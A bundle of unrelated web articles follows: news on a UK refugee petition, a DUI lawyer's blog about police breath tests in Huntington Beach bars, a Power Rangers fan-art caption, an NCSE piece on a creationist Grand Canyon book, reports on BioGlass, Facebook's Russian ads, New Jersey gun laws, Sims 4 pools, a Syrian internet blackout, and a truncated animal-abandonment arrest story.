MORE REFUGEES More than 100,000 people have backed a petition calling for Britain to accept more refugees, triggering a debate in Parliament. At one point five people per second were backing the e-petition, urging the government to 'accept more asylum seekers and increase support for refugee migrants in the UK'. The petition adds: 'There is a global refugee crisis. The UK is not offering proportional asylum in comparison with European counterparts. 'We can't allow refugees who have risked their lives to escape horrendous conflict and violence to be left living in dire, unsafe and inhumane conditions in Europe. We must help.' By 10.30am it had passed the 100,000 threshold for it to be considered for a debate in Parliament. Labour leadership contender Andy Burnham called for MPs to debate whether the UK should take in more refugees when Parliament returns next week. 'David Cameron cannot continue to turn his back on the crisis. It is time for him to show leadership and restore Britain's reputation as a country that has always provided refuge to the vulnerable,' he said. Diplomatic pressure on Mr Cameron is grown in recent days, with Germany and Austria accusing the British PM of behaving like it is 'out of the club in this big task of sharing the burden'. Some Conservative MPs, peers and donors today publicly called on Mr Cameron to offer sanctuary to 'not hundreds but thousands' of refugees. Tory MP Jeremy Lefroy told MailOnline: 'We are talking about refugees, people fleeing for their lives. We should be doing more. 'We need to work with local communities up and down the country. The British people are very generous and which to provide help and support.' The MP for Stafford said the UK government had already done more than any other European country to provide humanitarian help but it was 'not a question of either or', and refugees should be sent to parts of the country best able to support them. YVETTE'S SELFIE BRIGADE Yvette Cooper has written to all MPs urging them to take a selfie proclaiming that they would welcome more refugees in Britain. The Labour leadership candidate made her move after rival Andy Burnham appeared to claim credit for being the first of the contenders to call for the UK to grant more Syrians asylum. In her letter, the shadow home secretary told MPs the situation ‘transcends’ party politics and the Labour leadership race. She added: ‘We are writing to you now to encourage you to ... take a selfie with a #refugeeswelcome banner and put it on Twitter and Facebook, encouraging others to do the same.’ David Burrowes, the Tory MP for Enfield, said Britain had taken a lead in providing a humanitarian and military response in north Africa but that had to be matched by a 'refuge response'. 'We have got a voluntary resettlement programme but at the moment it is in the numbers of the hundreds compared to other countries where it's thousands,' he told MailOnline. 'Part of the answer is we should not be taking hundreds as we are at the moment but thousands. 'We are open to criticism that we are not taking our fair share but also from our own point of view, I think it makes compassionate sense just to do more.' Tom Tugendhat, MP for Tonbridge and Malling, wrote on Twitter: 'I've spoken to many in West Kent who want us to do more and I agree with them. Our common humanity demands action at home and abroad.' Nadhim Zahawi, MP for Stratford-on-Avon, added: 'We r nothing without compassion. Pic should make us all ashamed. We have failed in Syria. I am sorry little angel,RIP.' Johnny Mercer, the Tory MP for Plymouth Moor View, told The Times: 'We have always led the world in looking after people who can't look after themselves.' Tory MP Nicola Blackwood posted on Twitter: 'Britain has a proud history of giving sanctuary to those fleeing conflict & protecting the persecuted. 'We cannot be the generation that fails this test of humanity. We must do all we can.' Fellow Conservative Chris Heaton Harris said the UK had 'always helped refugees fleeing war zones and we should now'. EU leaders have drawn up a plan to relocate 160,000 refugees around the Continent – but Britain will remain exempt from taking any Tory MP David Burrowes (left) said Britain had taken a lead in providing a humanitarian and military response in north Africa but that had to be matched by a 'refuge response'. Nadhim Zahawi, MP for Stratford-on-Avon, said Britain was 'nothing without compassion' 100 MIGRANT CHILDREN TAKEN INTO CARE IN KENT IN JUST A MONTH The number of migrant children entering Britain has continued to surge with 100 youngsters taken into care in Kent in just one month alone. Figures show that 720 unaccompanied children seeking asylum are being looked after by Kent County Council, up from 630 at the beginning of August. In comparison, the local authority was supporting around 220 unaccompanied asylum seeking children under the age of 18 in March last year, which rose to 369 in March of this year. The latest figures come after the council said last month it had no more foster beds available for children. The huge surge in the numbers of unaccompanied children seeking asylum comes amid this summer's turmoil in Calais, leaving Kent County Council with a multi-million pound funding gap in care costs. However, other Tory MPs backed the Prime Minister's stance. Gary Streeter said: 'The reality is that taking more refugees is not going to solve the problem. 'What I am frustrated about is that collectively, whether it is the European Union or the UN or even the US, I don't think we are doing enough to tackle the root problem - we have got to stop people getting on the boats or the trains.' Former Conservative International Development Secretary Andrew Mitchell said that the UK was providing an 'immense amount of humanitarian support' to countries such as Syria. 'Were Britain not providing that support, there would be yet more hundreds of thousands of people coming out of that part of the world' He added that the UK had done 'more than the whole of the EU put together in terms of financial support'. But Tory MP Andrew Percy said his constituents were not clamouring to accept more refugees, tweeting: ‘It is incredible comparing the media coverage of the migrant crisis with the emails I am receiving from constituents.’ Meanwhile, tension was also mounting across Europe as Brussels was accused of turning the Mediterranean into a ‘cemetery’ for refugees. Turkey’s president Tayyip Erdogan accused EU states of being responsible for the death of every single victim of the crisis, saying: ‘European countries, which turned the Mediterranean Sea – the cradle of ancient civilisations – into a migrant cemetery are party to the crime that takes place when each refugee loses their life.’ Nils Muiznieks, the Council of Europe’s Commissioner for Human Rights, attacked Britain specifically for doing ‘much less’ than other countries to ease the crisis. Last night, as the numbers crossing into Germany reached nearly 150 per hour, it asked Italy to impose identification checks at Brennero, on the border with Austria, to ease the flow. An unprecedented surge of migrants has been trying to get to the country after Berlin last week began accepting asylum claims from Syrian refugees regardless of where they entered the EU. It has caused chaos across eastern Europe as authorities have struggled to cope with the vast numbers who, as undocumented migrants, are theoretically barred from travelling across the EU. Figures released yesterday showed a record 104,460 asylum seekers arrived in Germany last month. Italian minister for European affairs Sandro Gozi suggested Mr Cameron risks losing support for his plans to curb benefits for migrants. Mr Gozi told BBC Radio 4's Today programme: 'It is clear that in front of this mess, in front of this particularly serious crisis, we would welcome that every country take on more responsibility. 'When it comes to the UK, the UK has a special status but if you have a special status you cannot seek to shape policy in which you don't want to participate.' Labour leadership contender Yvette Cooper has suggested that it should be possible to take some 10,000 people seeking asylum JUNCKER'S REFUGEE RELOCATION SCHEME EXPLAINED EU chief Jean-Claude Juncker wants 160,000 refugees relocated across the continent European Commission president Jean-Claude Juncker is set to propose a big increase in the number of refugees EU countries are required to give refuge to. In July, Mr Juncker called on European leaders to agree to share 40,000 refugees who had successfully made it to Italy and Greece. EU leaders eventually agreed to relocate 32,000 asylum seekers across the continent – but only those from Syria, Iraq and Eritrea. The number of refugees per country was calculated based on population, economic wealth and unemployment rates. Mr Juncker now wants the asylum scheme to be expanded to help relocate 160,000 refugees from three countries - Greece, Italy and Hungary. The new proposals include a 'permanent relocation scheme' so arriving migrants are automatically shared out between EU states. However, the UK, Ireland and Denmark opted out of the scheme when it was first set up. Peter Sutherland, the UN special representative on international migration, said while some countries were 'massively bearing the burden' of the migrant crisis, the UK was among those that 'can do more'. Conservative donor Sir Mick Davis said Britain must not 'shut itself off' from modern crises. Tory former foreign office minister Baroness Warsi told BBC Radio 4's Today programme: 'We have to be prepared to share the burden. 'This is not about having an open door policy, this is about having quite a specific responsive policy in the areas for example that we have expertise (in). 'Unaccompanied minors, women fleeing from sexual violence, for example territories held by Isis. 'These are areas upon which we have both expertise and an international reputation and I think Britain has always been a generous, open, welcoming country and we must not allow a political climate of today to step away from that proud tradition.' Labour leadership contender Yvette Cooper has suggested that it should be possible to take some 10,000 people seeking asylum. She said: 'It is heartbreaking what is happening on our continent. We cannot keep turning our backs on this. We can - and must - do more. If every area in the UK took just ten families, we could offer sanctuary to 10,000 refugees. Let's not look back with shame at our inaction.' Liberal Democrat leader Tim Farron said the Government's refusal to take more than a few hundred refugees was 'morally wrong' and 'politically foolish' while Scotland's First Minister Nicola Sturgeon said: 'We must do more.' Amid signs that EU leaders were losing control of the crisis, Germany was yesterday forced to ask Italy to impose identification checks at Brennero, on the border with Austria, sparking claims that free movement is on the brink of collapse. -Huntington Beach Police breath testing patrons in local bars Is the Huntington Beach Police breath testing patrons in local bars ? The Orange County Register had a news story about the Huntington Beach Police breath testing patrons in local bars as part of the “know your limit” program. Huntington Beach Police received a grant from the State of California Office of Traffic Safety in the amount of $435,226 for the program up to September, 2015, although Police in Huntington Beach said they will continue the program. Police Officers are paid to hang out in local bars, breath test patrons, and give out a silver sticker that reads “I Know My Limit.” Of 55 cities comparable in size, with 100,001 to 250,000 residents, Huntington Beach was ranked No. 1 in the state in 2011 for alcohol-involved accidents. That year Huntington Beach saw 164 victims killed or injured. Further investigation showed that the majority of those accidents were from the following five local bars: Baja Sharkeez: 16 accidents Hurricanes Bar and Grill: 5 accidents Marlin Bar and Grill: 5 accidents Huntington Beach Beer Company: 4 Black Bull Chop House: 4 Huntington Beach Police breath testing patrons in local bars Huntington Beach might be the first to use this breath testing program, but they probably won’t be the last. Officers from the Anaheim Police Department and police agencies in Los Angeles County have joined Huntington Beach officers in downtown bars to test out the program for their cities. The OC Register Article did state one troubling fact, however. It suggests that people could be arrested for not participating: Bar patrons who are clearly intoxicated and refuse to participate in Know Your Limit can be arrested for being intoxicated in public, but are mostly encouraged to find a ride home. Does that mean that if you refuse a breath test in one of the local bars (which is not illegal, as long as you are not being asked to leave), and an officer thinks you are drunk, (without a test to confirm), that you could be arrested based upon not participating in the voluntary test? The program may also not be particularly effective however. The first city to use the program was Scottsdale, Arizona, where they instituted it in 2010, and then had a record year of drunk driving accidents in 2011. Awareness to prevent DUIs is admirable, but it’s the driving that is the problem. Drinking is not illegal. If you know how to drink and how to avoid a DUI, you can avoid the intrusion from police demanding a test from you in a bar. If you do know someone arrested for a Huntington Beach DUI, the best thing you can do is talk to an experienced Huntington Beach DUI lawyer. Call 949-682-5316 to get your free consultation today. -For :iconsMachinesandMonsters:,here is the grand opening for the Dino Charge Megazord Para-Raptor formation..with copics. To be perfectly honest with ya guys,this show rocks!! Hehe. ^_^ Shelby is possibly my fave ranger in the team and is a perfect replacement for Amy from Zyuden Sentai Kyoryuger which is still better than freakin' Ninninger!! Well,that is for another time but hey,the characters in Dino Charge are likeable and Koda is possibly the show-stealer. Chase (oh man,he's got the same name as Chaser from Masked Rider Drive..T_T) is literally smooth as ice and Riley is starting to be like Souji. Hehey. Ivan the Gold Ranger is miles better than Utsusemimaru in my opinion and his antics are quite the treasure. Tyler is also a good character and at least the show isn't about him like a certain Mission Impossible trilogy before Ghost Protocol came along.The Dino Charge Megazord is possibly one of the most detailed Megazords in toku history and I only say that is because there is soooo much detail and rivets on the Zords even though they were like from millions of years. XD Hope PLEX comes up with something in the 40th Sentai. XD So yeah,the villain Sledge is also a competent villain and yes,he looks like a Bionicle and I like that. Bite me!There's nothing to say about the Kyoryujin Western other than it is a sharp shoot. What's more to say,this is a great show to watch if you think Ninninger was terrible,give Dino Charge a go. The Graphite Ranger has now been unlocked. -Toward the end of 2006, Public Employees for Environmental Responsibility — "a national non-profit alliance of local, state and federal scientists, law enforcement officers, land managers and other professionals dedicated to upholding environmental laws and values" — charged the National Park Service with stalling on a promised review of a creationist book sold at the bookstores at Grand Canyon National Park. Although the park's bookstores are operated by a separate non-profit organization, the Grand Canyon Association, the National Park Service is responsible for approving the items that are sold there. In August 2003, the NPS approved the sale of Grand Canyon: A Different View , edited by Tom Vail and published by Master Books, the publishing arm of the Institute for Creation Research. A Different View expounds a young-earth creationist view of the geology of the canyon, and proclaims, "all contributions have been peer-reviewed to ensure a consistent and biblical perspective." In his review of the book ( RNCSE 2004 Jan/Feb; 24 [1]: 33-6), the geologist Wilfred Elders described it as "'Exhibit A' of a new, slick strategy by biblical literalists to proselytize using a beautifully illustrated, multi-authored book about a spectacular and world-famous geological feature," adding, "Allowing the sale of this book within the National Park was unfortunate. In the minds of some buyers, this could imply NPS approval of young-earth creationists and their religious proselytizing." After the sale of A Different View was approved, the superintendent of the park appealed to the NPS headquarters for "a review of the book in terms of its appropriateness," and the Chief of the Park Service's Geologic Resources Division recommended its removal, saying that it "does not use accurate, professional and scholarly knowledge; is not based on science but a specific religious doctrine; does not further the public's understanding of the Grand Canyon's existence; [and] does not further the mission of the National Park Service." Meanwhile, the sale of the book became a matter of public controversy (see RNCSE 2004 Jan/Feb; 24 [1]: 4-5). Elders's review appeared in Eos (the weekly newsletter of the American Geophysical Union); the presidents of the American Paleontological Society, the American Geophysical Union, the National Association of Geoscience Teachers, the Association of American State Geologists, the Society for Vertebrate Paleontology, the American Geological Institute, and the Geological Society of America signed a joint letter to the NPS, urging that A Different View be removed "from shelves where buyers are given the impression that the book is about earth science and its content endorsed by the National Park Service" (see RNCSE 2004 Jan/Feb; 24 [1]: 19); and stories about the controversy appeared in the Los Angeles Times and The New York Times . A spokesperson for the NPS repeatedly assured the press and Congress that the promised review would be forthcoming. In its December 28, 2006, press release, however, PEER charged, "Despite promising a prompt review of its approval for a book claiming the Grand Canyon was created by Noah's flood rather than by geologic forces, more than three years later no review has ever been done and the book remains on sale at the park." Jeff Ruch, executive director of PEER, commented, "As one park geologist said, this is equivalent of Yellowstone National Park selling a book entitled Geysers of Old Faithful: Nostrils of Satan ." In a December 28, 2006, letter, PEER urged the new director of NPS, Mary Bomar, to remove the book from sale at the park's bookstores and museums as well as to "[p]rovide training to the interpretive staff at Grand Canyon NP regarding how to answer questions from the public concerning the geologic age of the Canyon and related matters; and ... [a]pprove an updated version of the long-stalled pamphlet 'National Park Service Geologic Interpretive Programs: Distinguishing Science from Religion' for distribution to agency interpretive staff." It ought to be noted that PEER was not accusing the NPS of forbidding its interpretive staff to present the scientific facts about the canyon's age and geology. Unfortunately, careless wording in its press release suggested otherwise, and PEER's credibility suffered as a result, obscuring PEER's important charge that the NPS is not providing its staff with the resources it needs to present the scientific facts about the canyon's age of geology effectively, especially when faced with park visitors who have questions about, or even embrace, views that reject those facts on religious grounds. Prompted by PEER's press release, the controversy over the sale of A Different View began to attract attention again in the media, with the Arizona Daily Sun (2007 Jan 4) offering a report in which a spokesperson for the NPS was quoted as saying, "We do not use the creationist text in our teaching, nor do we endorse its content. However, it is not our place to censor alternate beliefs." The Sacramento Bee (2007 Jan 4) suggested, in a forceful and cogent editorial entitled "Don't use parks to promote creationism," "A new year and a new National Park Service director mark an opportunity for change. Here's an easy one. Settle the 3-year-old controversy about a creationist account of the Grand Canyon." The editorial argued that "Mary Bomar, the new National Park Service director, should send a message that programs and materials in national parks present the best scientific evidence and don't endorse any particular religious beliefs," and concluded by urging Bomar to do so quickly: Remove the book from sale from within the park; its proper place is for sale in private bookstores outside the public park. Equally important, finish the long-delayed pamphlet ... and distribute it to park rangers. The nation's public parks are not the place to promote religious theories about the formation and development of Earth. A spokesperson for the NPS, David Barna, told The New York Times (2007 Jan 5) that there was no formal review of whether the bookstores ought to discontinue selling A Different View in part because of differences among the NPS's specialists. According to the Times , "When officials got together to discuss the book, the geologists and natural resource specialists would say, 'Get this book out of here,' Mr. Barna said. 'But the education and interpretation people would say: 'Wait a minute. If your science is so sound, the fact that there are differences of opinion should not scare you away.'" In a written statement, the Times reported, Barna "notes that Park Service management policies require reliance on 'the best scientific evidence available' and, as a result, rangers tell visitors that "the Colorado River basin has developed in the past 40 million years." But the Times also reported, "the guidelines also say that material available from concessionaires in national parks should adhere to the standards used to evaluate Park Service materials." PEER's executive director Jeff Ruch was quoted as contending that selling the book promoted fundamentalist Christian views: "This is government establishment of religion in a fairly fundamental way, if you pardon the pun." Ronald Bailey, the science columnist for Reason , heard NCSE's executive director Eugenie C Scott speak about the controversy at the James Randi Educational Foundation's event The Amazing Meeting V, and promptly went to Grand Canyon National Park to see A Different View for himself. He reports, "As I was buying it, I asked the clerk what she thought about it. 'We're not allowed to say anything about it,' she said covering her mouth with her hand in the 'Speak No Evil' monkey fashion. 'Oh come on,' I cajoled, but the clerk refused any further comment. Later I went in search of it at the other south rim Park Service bookstore at Desert View. In this much smaller bookstore, Vail's slender Flood geology volume was mixed in among the other photo books. Again, I asked this clerk what she thought, and she smiled and replied, 'All I will say is that it's got some really beautiful photographs'" (2007 Jan 26; available on-line at http://reason.com/news/show/118334.html). Acknowledging that the NPS-overseen bookstores carry books that present and discuss the creation myths of Native Americans, Bailey nevertheless drew the crucial distinction: "unlike books on native creation myths, Vail insists that he is making scientific claims about how rock layers are laid down, fossils formed and the canyon carved." Title: Renewed Concern About Creationism at Grand Canyon National Park Author(s): Glenn Branch NCSE Deputy Director Volume: 27 Issue: 3–4 Year: 2007 Date: May–August Page(s): 15–16 -Besides projecting directions and e-mails in front of your face, Google Glass can also measure biological signs like heart and breathing rates, according to new research. The work suggests a new way for wearable devices to track a person’s stress level and provide instant fitness feedback. Researchers from MIT’s Media Lab and the Georgia Institute of Technology’s School of Interactive Computing say that they can accurately ferret out this data by monitoring a Glass wearer’s head movements with the gyroscope, accelerometer, and camera built into Google Glass. A paper on the research will be presented at the MobiHealth conference in Athens, Greece, in November. The project, called BioGlass, could lead to biometric-tracking apps for Google Glass. Looking beyond the controversial head-worn computer, researchers hope their work leads to less obtrusive sensors for self-monitoring via wearable devices. BioGlass uses the Glass sensors and camera to track the wearer’s ballistocardiogram, or BCG, which is a mechanical signal measuring the tiny body movements that result from the heart pumping blood. BCG tracking has been around since the 1870s, but was hardly used for many years because it was tricky to track without special equipment (such as a frictionless table). More recently, though, research has shown that sensitive motion sensors for electronic devices can easily detect the BCG signal, and at least one company, Quanttus, is building a product that can do so at the wrist (see “This Fitness Wristband Wants to Play Doctor”). In a study of 12 people, researchers were able to estimate heart and breathing rates nearly as accurately as they could with FDA-approved sensors for tracking the same signals. The results for heart-rate estimation were off by less than a beat per minute and respiration by less than a breath per minute, says Javier Hernandez, a graduate student in MIT’s Media Lab who coauthored the paper. The researchers built an Android app that captured data from the accelerometer, gyroscope, and front-facing camera of the Google Glass device; in order to get a range of physiological parameters, study participants wore it as they stood, sat, and lay motionless, and then again after riding an exercise bike. Researchers then isolated and extracted heart- and respiration-rate data from the accelerometer and gyroscope readings, and tracked motion in the video by noting pixel displacement over time. They then used this data to extract heart and respiration information. The researchers are now working on several apps that would use this kind of data for practical purposes; Yin Li, a paper coauthor and graduate student at Georgia Tech, says they’re making an app that captures and analyzes the signals that were investigated in the study in real time (for the study, the signals were analyzed after the fact). There are plenty of challenges ahead. The researchers still need to test their work with big motions, such as walking around, to see if they can get the same level of accuracy. And it may be difficult to convince people to wear Google Glass in the first place, let alone track their body’s signals with the device. At $1,500, the device is about 15 times more expensive than most fitness trackers, and its in-your-face style is polarizing. But Rosalind Picard, a paper coauthor and MIT professor who heads the Media Lab’s affective computing research group, says that while the group’s work uses Google Glass, the method would work with any pair of glasses embedded with a camera and the right sensors. “I would love for my glasses to give me a little quiet indication about my breathing so I can adjust it,” she says. ​ -Facebook has decided to turn over to congressional investigators copies of roughly 3,000 advertisements purchased by Russian-linked groups during the 2016 presidential campaign. The company confirmed Thursday afternoon that it would release details associated with the advertisements, with Facebook CEO Mark Zuckerberg outlining other steps the company is taking to step up transparency for ads. “We believe it is vitally important that government authorities have the information they need to deliver to the public a full assessment of what happened in the 2016 election,” Facebook’s general counsel Colin Stretch said in a post. “That is an assessment that can be made only by investigators with access to classified intelligence and information from all relevant companies and industries — and we want to do our part.” ADVERTISEMENT Sen. Mark Warner Mark Robert WarnerHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Addressing repair backlog at national parks can give Congress a big win MORE (Va.), the top Democrat on the Senate Intelligence Committee who has been a leading critic of Facebook's handling of the probe into Russian activity on its platform, called the move a "necessary first step." “Important & absolutely necessary first step. The American people deserve to know the truth about Russia’s interference in the 2016 election,” Warner tweeted. Zuckerberg said the release was only one of the steps the company is taking to make the platform less vulnerable for those looking to use it as a tool for election interference. “We will continue our investigation into what happened on Facebook in this election. We may find more, and if we do, we will continue to work with the government,” Zuckerberg said during a Facebook Live. Zuckerberg noted that the company would be expanding its analysis of election interference into other former Soviet countries — something that Warner has been pressing it to do. He also said that Facebook will push to make its political ads more transparent. “Not only will you have to disclose which page paid for an ad, but we will also make it so you can visit an advertiser's page and see the ads they're currently running to any audience on Facebook,” he said. Facebook will also devote more resources to its security team and double the number of staff on its election integrity team, Zuckerberg said. “I don’t want anyone to use our tools to undermine democracy,” he said. “That’s not what we stand for.” Facebook said its decision to turn over copies of the ads to Congress came after “an extensive legal and policy review," noting that federal law "places strict limitations on the disclosure of account information." The company has previously cited federal privacy laws for its delay in releasing more information about the Russian-linked advertisements to congressional investigators. Meanwhile, Facebook had given more details to special counsel Robert Mueller’s team for its probe of Russia's interference in the 2016 election and any Russian ties to President Trump's campaign. Facebook did not mention releasing further details on the matter to the public, which some lawmakers have pushed for. The social media company revealed earlier this month that Russian actors purchased $100,000 in political ads during the 2016 presidential campaign, but has remained tight-lipped about additional details. Facebook has been criticized by lawmakers for not revealing enough information about the extent of Russian activity on its platform to potentially influence the election. “I question whether Facebook has put near the resources they need into getting us all the facts,” Warner told reporters last week. Warner’s counterpart on the House Intelligence Committee, Rep. Adam Schiff Adam Bennett SchiffTech takes heat as anti-vaxers go viral Demands grow for a public Mueller report Bharara: It would seem 'odd and unusual' if Mueller report isn't made public MORE (D-Calif.), had similarly called for more details on the ad buys. Warner and Sen. Richard Burr Richard Mauze BurrHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Five tantalizing questions about Mueller’s investigation MORE (R-N.C.), chairman of the Senate Intelligence panel, say they plan to have Facebook, and potentially other companies, testify on the matter in the fall. Twitter has also received scrutiny. A company spokesperson told The Hill on Thursday that it will meet with Senate Intelligence Committee staff over its inquiry of Russian interference in the 2016 race. The spokesperson declined to comment on if it has found evidence of Russian influence on its platform. Updated: 4:45 p.m. -Gun-control advocates and their allies in the state legislature are gearing up for another battle in 2014 in hopes of making New Jersey gun restrictions, already among the toughest in the nation, even more stringent. Last year, during a tumultuous legislative session following the murder of 20 children in a Newtown, Conn. elementary school, the legislature passed 22 new pieces of gun legislation. About a dozen became law, while the balance were struck down by the governor's veto pen. Advocates for more limits on guns say important legislation was left on the table. TIMELINE: 2013 was a big year for gun legislation It's those measures — in particular, a restriction on ammunition magazine size, a ban on .50-caliber rifles, stricter limits on children’s access to firearms and mandatory safety training for gun owners — that will be their focus in the coming year. "Our top priority is a 10-round limit on magazine size," said Bryan Miller, executive director of Heeding God's Call, a faith-based organization focused on preventing gun violence. "Nobody needs a 15-round ammunition magazine unless they are a domestic terrorist or a gangster," Miller said. "We expect the legislative leadership to get behind this and the governor to see some sense." In last year's session, the magazine restriction never made it to the governor's desk. Instead, it was the Senate and president Steve Sweeney who stood in its way. The state currently restricts clips to 15 rounds, a limit Sweeney described last year as "effective." But Miller said he is confident the Senate president is on board with the 10-round limit this time around. For the families of the children of Sandy Hook Elementary School in Newtown, the 10-round magazine has become a rallying cry. "We do a lot of studying and research and we speak to gun owners and people all over the political spectrum," said Mark Barden, advocacy director for Sandy Hook Promise whose son Daniel was among the children murdered. "We hear universally for hunting, home protection and sport shooting that a 10 round magazine is certainly plenty." Barden said to back up the claim that the limit would save lives, you need only look to the number of shootings that are halted when the shooter stops to reload. For their part, Second Amendment advocates say the magazine restriction is arbitrary and does nothing to prevent gun violence. What it does, gun advocates say, is limit only the firepower of those who follow the law. "For the most part this is the same feel-good, do-nothing legislation that the New Jersey legislature is so fond of sponsoring," said Frank Fiamingo, president of the New Jersey Second Amendment Society. "As usual, the legislation targets the law-abiding gun owner who has purchased a gun legally and does not address the gangs and the career criminals who are committing the crimes." Likewise the ban on .50 caliber rifles, a weapon gun advocates say is irrelevant to the discussion because it's used only by wealthy hobbyists and has never been used to commit a crime in the state. Last year, Gov. Chris Christie himself advocated for its ban but later reversed course with a veto of the measure. The governor hinted that the veto was punishment for Democratic overreach; however, gun-control advocates believe he also was pandering to a New Hampshire pro-guns group that urged its members to contact the Christie and warn him against signing various gun-control measures. Miller said he's hoping the governor makes good on the ban this year. "Both houses of the legislature and the governor himself supported the ban prior to passage and then, just to teach Democratic leaders a lesson, he vetoed it," Miller said. "Is this leadership? And who was he really talking to, the citizens of New Jersey or the right wing pro-gunners of New Hampshire." Mandatory safety training was part of Sweeney's centerpiece bill, passed by both houses of the legislature last year but conditionally vetoed by the governor. The bill would have changed the way the state issues firearms licenses, made background checks instant and included private sales in the law. It also would have required proof of safety training prior to the issuance of a gun license. Training was among the elements altered by the governor's veto. After the conditional veto, Sweeney abandoned the measure. "It's the most logical of the group," Miller said. "You need safety training to drive a car. Everybody who owns a gun should know how to store it and use it safely." But Fiamingo said the devil is in the details. If the legislation is aimed at providing free common-sense training on gun storage and other safety factors, his group could back it. The problem, he said, is the parameters are always left out of the bill. If it's true training and it's provided free, he could back it, Fiamingo said. But if it's just a financial barrier erected to make it harder to obtain a gun permit, he said, it's a non-starter. Sweeney already has reintroduced the bill in the current session. Asked about specifics of this year's agenda, however, Sweeney issued only a broad comment. "The governor vetoed common-sense gun-safety reforms, including legislation I sponsored that would have made New Jersey a national model on background checks," he said. "We will be examining these issues again during the new term." As he was last year, Assemblyman Lou Greenwald is a strong advocate of gun-control measures, including the magazine restriction. "I made a personal commitment to the families of Newtown that we would not stop fighting, no matter how long it takes until we get the magazine limit passed," Greenwald said. "In talking with the families, they will tell you, the single most important piece of legislation to stop this kind of insanity in the future is that magazine limit." While gun-control supporters ask "Why not?" when it comes to the magazine-size limit, pro-gun advocates say that's the wrong question. "The question is, what is the statistical evidence that shows that reducing the limit on a clip from 15 to 10 rounds will reduce gun crime?" Fiamingo said. "If this passes, are the Latin Kings or the Bloods or the Crips going to reduce their magazine capacity to 10 rounds?" Despite objections from gun-rights groups, polls taken in the aftermath of Newtown showed nearly 60 percent of New Jersey residents favored stricter controls on guns, and a year later, public opinion remains on the side of gun control. And while the political climate in the state has changed significantly over the past year, it's too soon to tell if it will result in a sea change on gun control. Christie, though he's fresh off a landslide reelection victory, is politically wounded. Once the frontrunner for the 2016 GOP presidential nomination, the dual scandals surrounding lane closures at the George Washington Bridge and Hurricane Sandy recovery funding in Hoboken have cast a pall — at least for now — over his viability as a national candidate. Whether that will mean he'll focus on a more Jersey-centric agenda or move more to the right remains to be seen. Sweeney also faces an altered landscape. His own reelection in the 3rd Legislative District, where gun owners and sportsmen are commonplace, will no doubt allow him more freedom to navigate the issue. He has his own sights set on the governor's office, so he will likely adopt a more statewide focus on a host of issues, gun control being among the most obvious. Barden and others plan to attend a press conference with the state's legislative leaders later this month in hopes of finishing what was started here last year. NJ.com reporter S.P. Sullivan contributed to this report. -Share. You're soaking in it! You're soaking in it! The latest update for The Sims 4 adds pools and other pool-related activities to the game. The Build mode used for home creation has been adapted to pools, which should help streamline the pool-building process. In addition to being created in Build mode, pools can also be built diagonally and on rooftops. Windows can be added to pools to create infinity pools, wall height can be adjusted to make deeper or shallower pools, and a slew of new swimwear has been added to the game as well. The new line of swimwear can be perused in Create A Sim. Having a pool means that Sims can just sit around the pool and enjoy all that owning a pool entails, from swimming, to relaxing pool side, to getting splashed by other Sims. It also means the return of death by drowning, which means Sims ghosts may express their displeasure for water, on account of it being the cause of their untimely simulated demise. In addition to pools, there are a number of bug fixes including the tweaking of some performance issues and graphical oddities. The Sims 4 launched at the beginning of September and help propel EA to huge earnings in the second quarter of its fiscal year. Seth Macy is a freelance writer who just wants to be your friend. Follow him on Twitter @sethmacy, and MyIGN at sethgmacy. -Syria is almost completely cut off from the global Internet. Several Internet monitoring companies reported Thursday that Syria suffered an almost complete Internet shutdown. This is the latest in a long series of Internet blackouts in the war-torn country. The blackout started around 8:30 a.m. ET, according to Internet monitoring firm Renesys, which first spotted the outage. Renesys reported that 84 networks experienced an outage in Syria starting at 12:26 UTC, which is 95% of the routed networks in the country, the company wrote. Internet in Syria almost entirely down at 12:26 UTC. Only Aleppo link to Turkey remains connected. pic.twitter.com/o6flIEbkVy — Renesys Corporation (@renesys) March 20, 2014 The disruption was then confirmed by other companies like Akamai, BGPmon, OpenDNS, and Google. Near complete Internet disruption in #Syria detected by @Akamai traffic monitoring, starting at ~12:30pm UTC pic.twitter.com/MqGovceSHy — StateOfTheInternet (@akamai_soti) March 20, 2014 Country wide Internet outage in Syria starting at 12:25 UTC Only remaining network are the Aleppo, AS24814, prefixes pic.twitter.com/s74fStmBEz — BGPmon.net (@bgpmon) March 20, 2014 Looks like Syria is offline again. pic.twitter.com/F1eovuPjnE — Think Umbrella (@ThinkUmbrella) March 20, 2014 At this point, the source of the outage is still unclear. In the past, the government has often blamed technical issues — claims that experts meet with skepticism, arguing that the outages seem to coincide with important military operations or offensives, instead indicating that the government might purposely shut down the Internet. This is possible thanks to Syria's stranglehold over the country's single point of failure, the state-controlled Syrian Telecommunications Establishment, which controls the flow of the Internet in and outside of the country. Doug Madory, a researcher at Renesys, said that only the link from Aleppo to Turkey remains working, something that "is consistent with outages over the past few months." "Aleppo's outages occur independently from the country-wide blackouts," he added. The last Internet blackout in Syria was reported Feb. 20, 2014. UPDATE, 3.31 p.m. ET: The Internet has apparently been restored in Syria, after a blackout that lasted more than 7 hours, according to Renesys and Akamai. Apparent restoration of #Syria Internet connectivity detected by @Akamai traffic monitoring at ~7:00pm UTC. pic.twitter.com/eQnRJvE1Ho — StateOfTheInternet (@akamai_soti) March 20, 2014 The outage was caused by "a breakdown in the optical fiber cable in Damascus Countryside," according to the Syrian government-owned news agency SANA. Madory, the Renesys researcher, told Mashable that from the outside world, it's impossible to know for sure what caused the outage, and whether the government's explanation is accurate. But its explanation is plausible. "If they have a single fiber line that connects Tartous with [Syrian Telecommunications Establishment]'s central office in Damascus and that was what was cut, then this is possible," he said. -JACKSONVILLE, Fla. - A man was arrested several months after he put six puppies in pillow cases, tied the pillow cases in a knot and dropped them into a culvert near a storm drain, the Jacksonville Sheriff's Office said. Ernest Martin faces six counts of animal abandonment. Martin, 39, was arrested Saturday, but the incident took place last September, police said. According to the Sheriff's Office, a passerby noticed the pillow cases, and people then took out the puppies, which had been stolen from their owner. JSO booking photo of Ernest Martin on surveillance image EXTENDED VIDEO: Surveillance shows puppies stuffed into storm drains A resident checked their surveillance video, and Martin was seen in it, stuffing the puppies into the culvert at the corner of Clyde Street and Van Buren Avenue, police said. "It just breaks my heart to see someone hurting animals like that," said the person 